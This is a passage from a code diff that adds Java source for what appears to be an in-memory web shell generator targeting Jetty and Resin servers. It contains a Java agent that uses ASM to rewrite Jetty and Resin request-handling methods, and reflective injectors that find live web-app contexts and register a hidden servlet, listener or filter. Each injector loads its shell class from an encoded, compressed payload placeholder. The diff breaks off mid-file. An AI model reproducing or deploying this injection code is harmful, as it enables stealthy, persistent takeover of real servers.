+        inst.addTransformer(new JettyHandlerAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            for (String targetClass : TARGET_CLASSES) {
+                if (targetClass.replace("/", ".").equals(name)) {
+                    if (name.contains("mortbay")) {
+                        targetMethodName = "handle";
+                    }
+                    if (name.contains("ee10")) {
+                        targetMethodName = "doFilter";
+                    }
+                    inst.retransformClasses(allLoadedClass);
+                    System.out.println("MemShell Agent is working at " + name + "." + targetMethodName);
+                }
+            }
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASSES.contains(className)) {
+            if (className.contains("mortbay")) {
+                targetMethodName = "handle";
+            }
+            if (className.contains("ee10")) {
+                targetMethodName = "doFilter";
+            }
+            defineTargetClass(loader);
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (targetMethodName.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                Type argumentType = argumentTypes[i];
+                mv.visitVarInsn(argumentType.getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                boxPrimitive(mv, argumentType);
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private void boxPrimitive(MethodVisitor mv, Type type) {
+            if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) {
+                return; // Already an object
+            }
+
+            String owner;
+            String descriptor;
+
+            switch (type.getSort()) {
+                case Type.BOOLEAN:
+                    owner = "java/lang/Boolean";
+                    descriptor = "(Z)Ljava/lang/Boolean;";
+                    break;
+                case Type.CHAR:
+                    owner = "java/lang/Character";
+                    descriptor = "(C)Ljava/lang/Character;";
+                    break;
+                case Type.BYTE:
+                    owner = "java/lang/Byte";
+                    descriptor = "(B)Ljava/lang/Byte;";
+                    break;
+                case Type.SHORT:
+                    owner = "java/lang/Short";
+                    descriptor = "(S)Ljava/lang/Short;";
+                    break;
+                case Type.INT:
+                    owner = "java/lang/Integer";
+                    descriptor = "(I)Ljava/lang/Integer;";
+                    break;
+                case Type.FLOAT:
+                    owner = "java/lang/Float";
+                    descriptor = "(F)Ljava/lang/Float;";
+                    break;
+                case Type.LONG:
+                    owner = "java/lang/Long";
+                    descriptor = "(J)Ljava/lang/Long;";
+                    break;
+                case Type.DOUBLE:
+                    owner = "java/lang/Double";
+                    descriptor = "(D)Ljava/lang/Double;";
+                    break;
+                default:
+                    // Should not happen for primitive types
+                    return;
+            }
+            mv.visitMethodInsn(Opcodes.INVOKESTATIC, owner, "valueOf", descriptor, false);
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java

@@ -0,0 +1,206 @@
+package com.reajason.javaweb.memshell.injector.jetty;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.EventListener;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * tested v7、v8、v9
+ *
+ * @author ReaJason
+ */
+public class JettyListenerInjector {
+
+    static {
+        new JettyListenerInjector();
+    }
+
+    public JettyListenerInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getShell(context);
+                inject(context, listener);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    private List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            try {
+                // jetty 6
+                Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
+                if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
+                    contexts.add(getFieldValue(contextClassLoader, "_context"));
+                } else {
+                    // jetty 7+
+                    Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
+                    for (int i = 0; i < Array.getLength(table); i++) {
+                        Object entry = Array.get(table, i);
+                        if (entry != null) {
+                            Object threadLocalValue = getFieldValue(entry, "value");
+                            if (threadLocalValue != null) {
+                                if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
+                                    contexts.add(getFieldValue(threadLocalValue, "this$0"));
+                                }
+                            }
+                        }
+                    }
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    public ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader"));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "_classLoader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader webAppClassLoader = getWebAppClassLoader(context);
+        try {
+            return webAppClassLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    public static void inject(Object context, Object listener) throws Exception {
+        if (isInjected(context, listener.getClass().getName())) {
+            System.out.println("listener is already injected");
+            return;
+        }
+        invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
+        System.out.println("listener added successfully");
+    }
+
+    @SuppressWarnings("unchecked")
+    public static boolean isInjected(Object context, String className) throws Exception {
+        // jetty v8、 v9
+        Object object = invokeMethod(context, "getEventListeners");
+        Object[] eventListeners = new Object[0];
+        if (object instanceof List) {
+            eventListeners = ((List<Object>) object).toArray();
+        } else if (object instanceof Object[]) {
+            eventListeners = (Object[]) object;
+        }
+        for (Object eventListener : eventListeners) {
+            if (eventListener.getClass().getName().contains(className)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+    public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (NoSuchMethodException e) {
+            throw e;
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java

@@ -0,0 +1,227 @@
+package com.reajason.javaweb.memshell.injector.jetty;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.*;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/20
+ */
+public class JettyServletInjector {
+
+    static {
+        new JettyServletInjector();
+    }
+
+    public JettyServletInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object servlet = getShell(context);
+                inject(context, servlet);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public Class<?> getServletClass(ClassLoader classLoader) throws ClassNotFoundException {
+        try {
+            return classLoader.loadClass("javax.servlet.Servlet");
+        } catch (Throwable e) {
+            return classLoader.loadClass("jakarta.servlet.Servlet");
+        }
+    }
+
+    private List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            try {
+                // jetty 6
+                Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
+                if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
+                    contexts.add(getFieldValue(contextClassLoader, "_context"));
+                } else {
+                    // jetty 7+
+                    Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
+                    for (int i = 0; i < Array.getLength(table); i++) {
+                        Object entry = Array.get(table, i);
+                        if (entry != null) {
+                            Object threadLocalValue = getFieldValue(entry, "value");
+                            if (threadLocalValue != null) {
+                                if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
+                                    contexts.add(getFieldValue(threadLocalValue, "this$0"));
+                                }
+                            }
+                        }
+                    }
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    public ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader"));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "_classLoader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader webAppClassLoader = getWebAppClassLoader(context);
+        try {
+            return webAppClassLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    public void inject(Object context, Object servlet) throws Exception {
+        Object servletHandler = getFieldValue(context, "_servletHandler");
+
+        if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
+            System.out.println("servlet is already injected");
+            return;
+        }
+
+
+        String[] classNames = new String[]{
+                "org.eclipse.jetty.servlet.ServletHolder",
+                "org.eclipse.jetty.ee8.servlet.ServletHolder",
+                "org.eclipse.jetty.ee9.servlet.ServletHolder",
+                "org.eclipse.jetty.ee10.servlet.ServletHolder",
+                "org.mortbay.jetty.servlet.ServletHolder",
+        };
+
+        Class<?> servletHolderClass = null;
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+
+        for (String className : classNames) {
+            try {
+                servletHolderClass = contextClassLoader.loadClass(className);
+            } catch (ClassNotFoundException ignored) {
+            }
+        }
+
+        if (servletHolderClass == null) {
+            throw new ClassNotFoundException("ServletHodler");
+        }
+
+        Constructor<?> servletHolderConstructor = servletHolderClass.getDeclaredConstructor();
+        servletHolderConstructor.setAccessible(true);
+        Object servletHolder = servletHolderConstructor.newInstance();
+        invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(contextClassLoader)}, new Object[]{servlet});
+        invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
+        invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
+        invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()});
+        System.out.println("servlet inject successful");
+    }
+
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+
+    public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (NoSuchMethodException e) {
+            throw e;
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java

@@ -0,0 +1,219 @@
+package com.reajason.javaweb.memshell.injector.resin;
+
+import org.objectweb.asm.*;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class ResinFilterChainAgentInjector implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
+    private static final String TARGET_METHOD_NAME = "doFilter";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new ResinFilterChainAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+            }
+        }
+        System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            defineTargetClass(loader);
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java

@@ -0,0 +1,191 @@
+package com.reajason.javaweb.memshell.injector.resin;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class ResinFilterInjector {
+
+    static {
+        new ResinFilterInjector();
+    }
+
+    public ResinFilterInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getShell(context);
+                inject(context, filter);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    /**
+     * com.caucho.server.webapp.Application
+     * /usr/local/resin3/lib/resin.jar
+     */
+    public List<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            Class<?> servletInvocationClass = null;
+            try {
+                servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
+            } catch (Exception e) {
+                continue;
+            }
+            if (servletInvocationClass != null) {
+                Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
+                Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
+                contexts.add(webApp);
+            }
+        }
